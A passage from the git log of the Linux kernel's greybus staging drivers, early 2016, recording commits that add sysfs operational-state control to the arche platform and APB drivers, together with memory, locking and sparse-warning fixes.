02:04:18 2016 +0530 greybus: arche-platform: Do not export any gpios With addition of operational state in driver, user/developer can switch to FW flashing state through sysfs. So no need to export any gpios to userspace now. Testing Done: Tested on EVT1.2 and DB3.5 platform Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 16 ---------------- 1 file changed, 16 deletions(-) commit fd60ac585607979e37b64ecec8afb898f9ad6a85 Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:17 2016 +0530 greybus: arche-platform: Fix boot, poweroff and fw_flashing seq with APBs Now SVC driver has an access to APBs operational functions (coldboot, standby_boot, fw_flashing and poweroff), SVC driver can control APB's as per below rules, - If SVC goes down (poweroff state), it will also power off APBs and vice a versa for all operational states. - On boot, SVC will probe/populate APB device, but will not coldboot it. APBs will coldboot only after handshaking with SVC over wake/detect line. Note that, both APBs share same wake/detect line. So from user/developer perspective, it is highly recommended that they should use arche-platform interfaces, instead of individual apb interface, # echo [off/active/standby/fw_flashing] > /sys/devices/arche_platform.*/state Note: 'standby' mode is not supported as of now. Testing Done: Testd on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 77 +++++++++++++++++++++++++------- 1 file changed, 62 insertions(+), 15 deletions(-) commit 65fd5a5018c8c5b7ddf14dffa75474b3a9040851 Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:16 2016 +0530 greybus: arche-apb-ctrl: Export operational fns from driver In order to use single wake/detect line for both APB's we need to have access to APB operational functions to parent/SVC driver. So export coldboot, standby_boot, fw_flashing and poweroff operation functions from the driver. Testing Done: Tested on EVT1.2 and DB3.5 platform Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 20 ++++++++++++++++++++ drivers/staging/greybus/arche_platform.h | 9 +++++++++ 2 files changed, 29 insertions(+) commit 80a057aa6c170403261f8d1d2ce435d3668848f6 Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:15 2016 +0530 greybus: arche-apb-ctrl: Rename internal operational state fns This is preparation for enabling export set of operational fns to parent driver. So it is important to differentiate internal ops function against externally accessed (from parent). Testing Done: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit af3aae10f16f05acba27294bc1ae234f3cb61a61 Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:14 2016 +0530 greybus: arche-apb-ctrl: Introduce ara,init-disable property for APB New DT property "ara,init-disable" will allow user to disable APB1 or APB2 during boot and enable it only when needed through command prompt via sysfs interface. - To disable APB2 during boot, specify "ara,init-disable" property in respective APB node. - How to check the state # cat /sys/devices/arche_platform.*/apb*/state It should be 'off', if 'ara,init-disable' enabled in DT. - During runtime if user/developer desired to enable APB2 (strictly and only for development purpose) then respective APB can be enabled through, # echo active > /sys/devices/arche_platform.*/apb*/state Note: - If APB device is in 'off,disabled' state, then no state transitions are permitted. - User/developer must first activate APB device # echo active > /sys/devices/arche_platform.*/apb*/state This will clear the 'init-disable' flag and allow state transition from here onwards. Note that, 'off,disabled' is only indicative state and is only applicable during init/boot. Testing Done: Tested on EVT1.2 and DB3.5 platform Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) commit 33d76291073dd9408055a23cd96a23c375944377 Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:13 2016 +0530 greybus: arche-apb-ctrl: Add sysfs to allow user to change state This patch introduces sysfs interface for the user space to enable state change of the driver. Driver supports below operational states, - off - active - standby - fw_flashing To see the current state i # cat /sys/devices/arche_platform.*/apb*/state And to change the state # echo [off/active/standby/fw_flashing] > /sys/devices/arche_platform.*/apb*/state Testing Done: Tested on EVT1.2 and DB3.5 platform Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 115 +++++++++++++++++++++++++++++++ 1 file changed, 115 insertions(+) commit 6961e0466575608639e91ddbcc62d9385d45a198 Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:12 2016 +0530 greybus: arche-apb-ctrl: Pass only platform_device to _seq fns Pass only pointer to platform_device to _seq fns and fetch handle to arche_apb_ctrl_drvdata from platform_device. This is preparation for support for dynamic switching between operational states for the device, where these functions will be called from parent driver. Testing Done: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit f2222a41db55f89bfafad03bd04ffdfb317b2edb Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:11 2016 +0530 greybus: arche-apb-ctrl: Set default state value to OFF Explicitly set default apb->state value to ARCHE_PLATFORM_STATE_OFF in probe() fn. Testing Done: Tested on EVT1.2 and DB3.5 platform Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 3 +++ 1 file changed, 3 insertions(+) commit 5667ab17999a16c2bb1a5cdcaf183d8710aeb717 Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:10 2016 +0530 greybus: arche-apb-ctrl: Rename init_seq and cleanup fn apb_ctrl_coldboot_seq() and apb_ctrl_poweroff_seq() is appropriate name as per spec and implementation, so rename it. Also move apb_ctrl_poweroff_seq() fn above, to group it with other _seq functions. Testing Done: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 44 ++++++++++++++++---------------- 1 file changed, 22 insertions(+), 22 deletions(-) commit 6ceed512e68ea8a82cc320630e24656f03c50424 Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:09 2016 +0530 greybus: arche-apb-ctrl: Re-arrange init sequence In order to allow APB2 disable by default on boot/init, and also provide interface to user to enable it later on, re-arrange the init_seq fn. The idea here is, the apb_ctrl_init_seq() fn will be renamed to apb_ctrl_coldboot_seq(), and should not try to claim any resources. All the resource claim should happen in apb_ctrl_get_devtree_data() fn. And also uses devm_gpio_request_one() fn wherever possible. Testing Done: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 96 +++++++++++++------------------- 1 file changed, 40 insertions(+), 56 deletions(-) commit 7691fed20e7301bd89b04d38f88262c83279817a Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:08 2016 +0530 greybus: arche-platform: Introduce FW_FLASHING state Introduce FW_FLASHING state to arche-platform driver, to enable user space to flash/upgrade SVC firmware. Command to enter into flashing state: # echo fw_flashing > /sys/devices/arche_platform.*/state Testing Done: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 27 +++++++++++++++++++++++++++ drivers/staging/greybus/arche_platform.h | 1 + 2 files changed, 28 insertions(+) commit 2923c58eb5acb019e6781dc05662b896e14339f6 Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:07 2016 +0530 greybus: arche_platform: Add sysfs to allow user to change state This patch introduces sysfs interface for the user space to enable operational state change of the driver. Currently, driver supports, 'off', 'active' and 'standby' Note that, driver doesn't do anything for standby state as of today. To see the current state # cat /sys/devices/arche_platform.*/state And to change the state # echo [off/active/standby] > /sys/devices/arche_platform.*/state Testing Done: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 56 ++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) commit b4c95fca6a9dd8ac2242a451e53781d5313b8c1d Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:06 2016 +0530 greybus: arche-platform: Pull wake/detect low in poweroff When SVC goes down, make sure that wake/detect is also pulled low. Note that this is not the criteria for SVC poweroff, but it is required to have right state on wake/detect line before powering off. And on next boot, the boot-sequence code would take care of handshaking with SVC. Tested-on: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 4 ++++ 1 file changed, 4 insertions(+) commit e74d04a5810233a95cb7a556165817d378b89e44 Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:05 2016 +0530 greybus: arche-platform: Add state variable to driver data This is preparation for operational state support. So in order to provide operational state transitions, driver needs to maintain state. So add 'enum arche_platform_state' variable to 'struct arche_platform_drvdata' Testing Done: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 5993e2bfd848538b1f3e8e3de6412f76e600c69f Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:04 2016 +0530 greybus: arche-platform: Rename cleanup fn to poweroff_seq In sync with operational states, rename arche_platform_cleanup() fn to arche_platform_poweroff_seq() fn. Testing Done: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 49e6e04bb44e4f3bf2c6d3c2c096257da2cb54ff Author: Vaibhav Hiremath Date: Sat Feb 13 01:15:11 2016 +0530 greybus: arche-platform: Cancel delayed_work in driver remove fn This is a bug fix, where as part of cleanup, delayed work was not canceled in driver remove function. So fix it. Testing Done: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 1 + 1 file changed, 1 insertion(+) commit 758ca99de9961036675048e1487713e801b184db Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:03 2016 +0530 greybus: arche-platform: Introduce coldboot_seq fn This is preparation for support for different operational states (defined by arche_platform_state) in the driver, to enable user/developer to dynamically configure the state. arche_platform_coldboot_seq() fn will be responsible for rebooting SVC device. Testing Done: Tested on EVT1.2 and DB3.5 platform Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 49 ++++++++++++++++++++++---------- 1 file changed, 34 insertions(+), 15 deletions(-) commit a821adb47d28e22f96716b0ab8c4a8d5f7d3dadb Author: Vaibhav Hiremath Date: Sat Feb 13 02:04:02 2016 +0530 greybus: arche-platform: make apb_state common to both platform drivers Make 'enum apb_state' common to both platform drivers, so that both drivers can make use of same state and user will have unified control configuration across devices (SVC, APB1 and APB2) Testing Done: Tested on EVT1.2 and DB3.5 platform. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 11 +++-------- drivers/staging/greybus/arche_platform.h | 6 ++++++ 2 files changed, 9 insertions(+), 8 deletions(-) commit 397d34152423d2ddbff3e48495ef988cbb07776b Author: Johan Hovold Date: Wed Feb 10 11:08:29 2016 +0100 greybus: raw: fix memory leak on disconnect Make sure the class device is freed as well as deregistered on disconnect. Also deregister the class device before character device as the former depends on the latter. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/raw.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8d46ec49819599d33ee5cffd43b19bf21f9472b8 Author: Johan Hovold Date: Wed Feb 10 12:31:03 2016 +0100 greybus: bundle: remove private data field Remove the private data field from the bundle structure as it is no longer needed. Bundle drivers can use the driver data field in the bundle device. Update the only current user to use the connection private data until it has been converted to a bundle driver. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.h | 1 - drivers/staging/greybus/loopback.c | 6 ++---- 2 files changed, 2 insertions(+), 5 deletions(-) commit 5ef545fb8c22ab605f764ea467859572797dbc09 Author: Johan Hovold Date: Thu Feb 11 13:52:50 2016 +0100 greybus: spi: add bundle-device prefix to error messages Replace all pr_err with dev_err so we can tell what device (and driver) a message was for. Testing Done: Compiled Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/spi.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 8923c5b59ffd18b8a31b18dd02332fdfe801f7c9 Author: Johan Hovold Date: Thu Feb 11 13:52:49 2016 +0100 greybus: loopback: add missing pr_fmt Add missing pr_fmt so we can at least tell what module the sole remaining pr_err was from. Testing Done: Tested on DB3.5 with the generic bridge firmware on APB2. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 3 +++ 1 file changed, 3 insertions(+) commit 6d6fb2549f23d5d7d3494574b49e35df8e737645 Author: Johan Hovold Date: Thu Feb 11 13:52:48 2016 +0100 greybus: i2c: add bundle-device prefix to error messages Replace all pr_err with dev_err so we can tell what device (and driver) a message was for. Testing Done: Compiled Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit b427572ebff3abba436a9ae45db73c78fa3ddcf8 Author: Johan Hovold Date: Thu Feb 11 13:52:47 2016 +0100 greybus: core: add device prefix to error messages Use dev_err and dev_warn where appropriate and remove now unused pr_fmt defines. Testing Done: Tested on DB3.5 with the generic bridge firmware on APB2. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/debugfs.c | 2 -- drivers/staging/greybus/hd.c | 4 +--- drivers/staging/greybus/operation.c | 2 +- 3 files changed, 2 insertions(+), 6 deletions(-) commit a0b5542df26b6d2fccb611c05ea1cb266456b60c Author: Johan Hovold Date: Thu Feb 11 13:52:46 2016 +0100 greybus: manifest: add interface-device prefix to messages Use dev_err and friends so that we can tell which interface (and module) a manifest-parsing error messages was for. Testing Done: Tested on DB3.5 with the generic bridge firmware on APB2. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 41 +++++++++++++++++++------------------- 1 file changed, 21 insertions(+), 20 deletions(-) commit d5a265648aa830383bc2c3e750ffe1bea0cd4309 Author: Michael Scott Date: Mon Feb 8 17:08:46 2016 -0800 greybus: interface: clear upper 16-bits of version_id and product_id Current userspace looks through the sysfs interface entries for matching vendor_id and product_id any time an interface is opened by module developers. The upper 16-bits of ES3 vendor_id and product_id contain a reverse mask of the lower 16-bits. This additional information is never used and should be removed so that every consumer of these sysfs entries doesn't have to perform the same bit clearing logic. Signed-off-by: Michael Scott Reviewed-by: Alex Elder Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 25 +++++++++++++++++++++++-- 1 file changed, 23 insertions(+), 2 deletions(-) commit f6d6f5bd29f76721d7ac5c64426a1f45203c622a Author: Vaibhav Hiremath Date: Tue Feb 9 22:09:16 2016 +0530 greybus: Revert "arche-apb-ctrl: Remove extra delay in APB reset" We are seeing failures on DB3.1 board, and Axel root-caused it to this commit, so revert it as of now. This reverts commit 942627227684c187b727ba5fb581bc2d886b6708. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 1 + 1 file changed, 1 insertion(+) commit 0273038df61349868d368dd9254eb629425a3378 Author: Rui Miguel Silva Date: Tue Feb 2 14:23:16 2016 +0000 greybus: spi: add device_type field to device config Add device_type field in device config operation to get the type of device and try to expose less the kernel internal over greybus. This include the spidev, spi-nor will fetch the correct nor id over jede and a modalias that will have the previous behavior (name will set the driver to be loaded). As at it, fix a trivial error path and return immediately. Tested: using gbsim and confirming that a spidev and mtd device were created. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 ++++ drivers/staging/greybus/kernel_ver.h | 8 ++++++++ drivers/staging/greybus/spi.c | 18 ++++++++++++++++-- 3 files changed, 28 insertions(+), 2 deletions(-) commit 9d4bb6c9183f1283158bbb00ebf65ec4cf18ee33 Author: Rui Miguel Silva Date: Fri Feb 5 13:50:37 2016 +0000 greybus: uart: fix double free of tty port When inserting and removing a module with a UART protocol defined a double free of the tty_port would happen and that would generate a lot of kernel oops in different places related to memory corruption. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 1 - 1 file changed, 1 deletion(-) commit 9d15134d067ecb52bf02136234fbd1d09e1706d8 Author: Rui Miguel Silva Date: Thu Feb 4 14:00:36 2016 +0000 greybus: power_supply: rework get descriptors Rework the get property descriptors function to fix a memory handling error for the response structure. This could corrupt the stack and throw nonalignment PC or SP error: Internal error: SP or PC abort: 8a000000 1 PREEMPT SMP Modules linked in: gb_power_supply(O) gb_arche(O) gb_camera(O) gb_es2(O) gb_vibrator(O) gb_raw(O) g] CPU: 3 PID: 51 Comm: kworker/u16:2 Tainted: G W O 3.10.73-g8a6af60-00118-g599a5c1 #1 Workqueue: greybus1:svc gb_svc_connection_destroy [greybus] task: ffffffc0ba249580 ti: ffffffc0ba294000 task.ti: ffffffc0ba294000 PC is at gb_power_supply_connection_init+0x81/0x1dc [gb_power_supply] LR is at gb_power_supply_connection_init+0x81/0x1dc [gb_power_supply] pc : [] lr : [] pstate: 80000145 sp : ffffffc0ba297a00 x29: 32002e002a001100 x28: ffffffc042cb2c80 To fix this, allocate firstly the operation and handle request and response using operation payload. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 57 ++++++++++++++++++++++------------ 1 file changed, 37 insertions(+), 20 deletions(-) commit db81b76970a2e9f3ffa1ca66e7761f9f4b84efc6 Author: Jacopo Mondi Date: Fri Feb 5 09:35:33 2016 +0100 greybus: camera: Add missing return value Add missing return value assignement when changing unipro power mode to PWM-G1. Signed-off-by: Jacopo Mondi Reviewed-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit f121d79d8acb0852f42b42b111967a3ef265362b Author: Jacopo Mondi Date: Fri Feb 5 09:35:32 2016 +0100 greybus: camera: Reset link speed on failed config Improve the management of unipro power mode changes in response to a configure_stream operation. When sending a "test only" request to camera module, do not change power mode to HS-G2 as no frame will be actually transmitted. When receiveing an "adjusted" configuration response, reset power mode to PWM-G1. Signed-off-by: Jacopo Mondi Reviewed-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) commit 6084653541ac5fb619c4338e6fa6a9d5d4a51713 Author: Vaibhav Hiremath Date: Fri Feb 5 01:10:56 2016 +0530 greybus: arche-apb-ctrl: Remove extra delay in APB reset With synchronization between SVC <=> AP over wake/detect line to bring APB's out of reset, we do not need any extra delays now. So remove it. Testing Done: Tested for 10 iterations on EVT1 Signed-off-by: Vaibhav Hiremath Reviewed-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 1 - 1 file changed, 1 deletion(-) commit d1a9c0560a4ffc05c31a042dff380ddf1ea721b0 Author: Greg Kroah-Hartman Date: Tue Feb 2 21:31:19 2016 -0800 greybus: fix sparse warning in manifest.c The cport id field is a le16, so treat it as such when comparing it to something else. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ec413566e819ad19be929ab38d2b5911cbf096c2 Author: Bartosz Golaszewski Date: Wed Feb 3 12:53:40 2016 +0100 greybus: audio_manager: add missing header There's a definition missing in audio_manager causing the kernel build to fail: CC [M] ./greybus/audio_manager.o ./greybus/audio_manager.c:22:8: warning: type defaults to 'int' in declaration of 'DEFINE_IDA' [-Wimplicit-int] error, forbidden warning: audio_manager.c:22 ./kernel/scripts/Makefile.build:308: recipe for target './greybus/audio_manager.o' failed Including linux/idr.h fixes the issue. Signed-off-by: Bartosz Golaszewski Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_manager.c | 1 + 1 file changed, 1 insertion(+) commit 3994e0b139c709047cdeb44b6c28cfb39f89f3f2 Author: Vaibhav Agarwal Date: Thu Jan 28 21:15:40 2016 +0530 greybus: audio: use variable 'is_connected' to maintain module state there is race condition between _disconnect() request & stop_trigger() in case of abrupt module removal. And sometimes this can lead to deadlock while acquiring codec_info->lock. To avoid such situation, atomic variable is used to maintain codec connected state. During dai operations (trigger, shutdown, etc.), 'is_connected' variable is validated to avoid unnecessary lock acquire in case module already removed. Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 17 +++++++++++++++++ drivers/staging/greybus/audio_codec.h | 10 +++++++++- drivers/staging/greybus/audio_topology.c | 12 ++++++++++++ 3 files changed, 38 insertions(+), 1 deletion(-) commit 796fad441cb248c1eac88bfb3a5929bb1a10fabb Author: Vaibhav Agarwal Date: Thu Jan 28 21:15:39 2016 +0530 greybus: audio: codec driver cleanup audio codec driver is now moved to bundle driver approach. This resolved many race conditions related to audio mgmt & data connection init/exit sequence. Thus, a lot of helper functions can now be safely removed. Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 622 +++++++++++-------------------- drivers/staging/greybus/audio_codec.h | 21 +- drivers/staging/greybus/audio_topology.c | 99 +---- 3 files changed, 230 insertions(+), 512 deletions(-) commit 127c1fbd55939642365f26efd3121562629ec1b1 Author: Viresh Kumar Date: Thu Jan 28 15:50:48 2016 +0530 greybus: connection: Fix sparse warnings around locking The callers ensures that connection->lock is taken before calling few routines, but that isn't enough for sparse as it sees an unexpected unlock. greybus/connection.c:380:29: warning: context imbalance in 'gb_connection_cancel_operations' - unexpected unlock Fix that adding __must_lock() attribute to the function declaration. This also adds the attribute for gb_connection_flush_incoming_operations(), which isn't showing any sparse warnings with the current state of code, but with minor rearrangements of the code. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 ++ 1 file changed, 2 insertions(+) commit 68ba0a01ccc3e0aff3687ac2704c01a3849d5345 Author: Greg Kroah-Hartman Date: Tue Feb 2 21:35:12 2016 -0800 greybus: lsgb: remove it, it's in the gb-utils repo lsgb does not need to be in this repo, it gets installed as part of gb-utils now. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/lsgb | 151 ------------------------------------------- 1 file changed, 151 deletions(-) commit ee9627bce7561f772345a329e783149893cfbb55 Author: Viresh Kumar Date: Thu Jan 28 15:50:49 2016 +0530 greybus: control: Fix sparse warnings gb_control_get_version() is not used outside of the file and must be marked as static. Following sparse warnings are reported today: greybus/control.c:20:5: warning: symbol 'gb_control_get_version' was not declared. Should it be static? Fix it by marking gb_control_get_version() 'static'. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1045451f8abbfe3628af9bc1ce53da4d57723626 Author: Viresh Kumar Date: Thu Jan 28 15:50:47 2016 +0530 greybus: audio: Fix sparse warnings greybus/audio_apbridgea.c:13:5: warning: symbol 'gb_audio_apbridgea_set_config' was not declared. Should it be static? greybus/audio_apbridgea.c:30:5: warning: symbol 'gb_audio_apbridgea_register_cport' was not declared. Should it be static? greybus/audio_apbridgea.c:44:5: warning: symbol 'gb_audio_apbridgea_unregister_cport' was not declared. Should it be static? greybus/audio_apbridgea.c:58:5: warning: symbol 'gb_audio_apbridgea_set_tx_data_size' was not declared. Should it be static? greybus/audio_apbridgea.c:72:5: warning: symbol 'gb_audio_apbridgea_get_tx_delay' was not declared. Should it be static? greybus/audio_apbridgea.c:80:5: warning: symbol 'gb_audio_apbridgea_start_tx' was not declared. Should it be static? greybus/audio_apbridgea.c:94:5: warning: symbol 'gb_audio_apbridgea_stop_tx' was not declared. Should it be static? greybus/audio_apbridgea.c:106:5: warning: symbol 'gb_audio_apbridgea_set_rx_data_size' was not declared. Should it be static? greybus/audio_apbridgea.c:120:5: warning: symbol 'gb_audio_apbridgea_get_rx_delay' was not declared. Should it be static? greybus/audio_apbridgea.c:128:5: warning: symbol 'gb_audio_apbridgea_start_rx' was not declared. Should it be static? greybus/audio_apbridgea.c:141:5: warning: symbol 'gb_audio_apbridgea_stop_rx' was not declared. Should it be static? greybus/audio_gb.c:14:5: warning: symbol 'gb_audio_gb_get_topology' was not declared. Should it be static? greybus/audio_gb.c:48:5: warning: symbol 'gb_audio_gb_get_control' was not declared. Should it be static? greybus/audio_gb.c:70:5: warning: symbol 'gb_audio_gb_set_control' was not declared. Should it be static? greybus/audio_gb.c:85:5: warning: symbol 'gb_audio_gb_enable_widget' was not declared. Should it be static? greybus/audio_gb.c:97:5: warning: symbol 'gb_audio_gb_disable_widget' was not declared. Should it be static? greybus/audio_gb.c:109:5: warning: symbol 'gb_audio_gb_get_pcm' was not declared. Should it be static? greybus/audio_gb.c:133:5: warning: symbol 'gb_audio_gb_set_pcm' was not declared. Should it be static? greybus/audio_gb.c:150:5: warning: symbol 'gb_audio_gb_set_tx_data_size' was not declared. Should it be static? greybus/audio_gb.c:163:5: warning: symbol 'gb_audio_gb_get_tx_delay' was not declared. Should it be static? greybus/audio_gb.c:183:5: warning: symbol 'gb_audio_gb_activate_tx' was not declared. Should it be static? greybus/audio_gb.c:195:5: warning: symbol 'gb_audio_gb_deactivate_tx' was not declared. Should it be static? greybus/audio_gb.c:207:5: warning: symbol 'gb_audio_gb_set_rx_data_size' was not declared. Should it be static? greybus/audio_gb.c:220:5: warning: symbol 'gb_audio_gb_get_rx_delay' was not declared. Should it be static? greybus/audio_gb.c:240:5: warning: symbol 'gb_audio_gb_activate_rx' was not declared. Should it be static? greybus/audio_gb.c:252:5: warning: symbol 'gb_audio_gb_deactivate_rx' was not declared. Should it be static? Fix them by including the header that declares the exported routines. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_apbridgea.c | 1 + drivers/staging/greybus/audio_gb.c | 1 + 2 files changed, 2 insertions(+) commit 3c5de59473f88aeb12420f142d42801d4d389759 Author: Greg Kroah-Hartman Date: Mon Jan 25 16:52:17 2016 -0800 greybus: audio_manager: use an 'ida' for the module id Every time we hotplug an audio module, we get a new audio module id. We should recycle them instead of just constantly incrementing the number so we don't see things like: [178016.832580] Created audio module #6124 in the kernel logs. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_manager.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit 3f830562deade2ab6163f07ee6829158cc070ee4 Author: Axel Haslam Date: Fri Jan 29 11:34:19 2016 +0100 greybus: loopback_test: Decrease the max number of devices Its unrealistic to expect 50 loopback devices, and the mask parameter can hold up to "int" anyways so decrease to max number of devices to sane value. Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/tools/loopback_test.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8ec589b9796eebfa266d2b047ee2318541814e28 Author: Johan Hovold Date: Fri Jan 29 15:42:31 2016 +0100 greybus: firmware: convert to bundle driver Convert the legacy firmware protocol driver to a bundle driver. This also fixes a potential crash should a (malicious) module have sent an early request before the private data had been initialised. Note that the firmware protocol needs to support the version request indefinitely since it has been burnt into ROM. In order to avoid having to update current module-loading scripts, keep this driver internal to greybus core at least until modalias support is added. Note that there is no MODULE_DEVICE_TABLE defined for firmware as we cannot have two greybus tables in one module on ancient 3.10 kernels and that the legacy driver is currently also internal to core. This needs be added once the driver can be built as a module. Testing Done: Tested on DB3. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 9 +- drivers/staging/greybus/firmware.c | 131 ++++++++++++++++++++++++---- drivers/staging/greybus/firmware.h | 4 +- drivers/staging/greybus/greybus.h | 1 - drivers/staging/greybus/greybus_protocols.h | 11 +++ drivers/staging/greybus/legacy.c | 1 - 6 files changed, 130 insertions(+), 27 deletions(-) commit c760442e1cafef30de20ea5b64074d70efa6eec2 Author: Johan Hovold Date: Fri Jan 29 15:42:30 2016 +0100 greybus: legacy: remove unimplemented classes from id table Remove the unimplemented display, sensor, and svc classes from the device-id table. As Viresh noted the SVC protocol is special and having an SVC class doesn't really make sense at all. Either way, the SVC protocol is already implemented by core. Testing Done: Compiled Reported-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 3 --- 1 file changed, 3 deletions(-) commit a3043d9e717ace89a34352e57d88c70584f9c768 Author: Michael Scott Date: Wed Jan 27 16:41:01 2016 -0800 greybus: arche-platform: reduce wait between WAKE_OUT checks SVC WAKE_OUT loop is estimated 400ms during which wake_detect line is pulled low for AP detection. On AP side we have 500ms delay between checks. To avoid timing issues, reduce delay between checks and raise total # of checks so that overall time for sequence is the same. Testing Done: - Used for DB3.5/EVT1.5 hardware during bringup - Regression tested on DB3.1+ES2, DB3.1+ES3 Signed-off-by: Michael Scott Reviewed-by: Vaibhav Hiremath Tested-by: 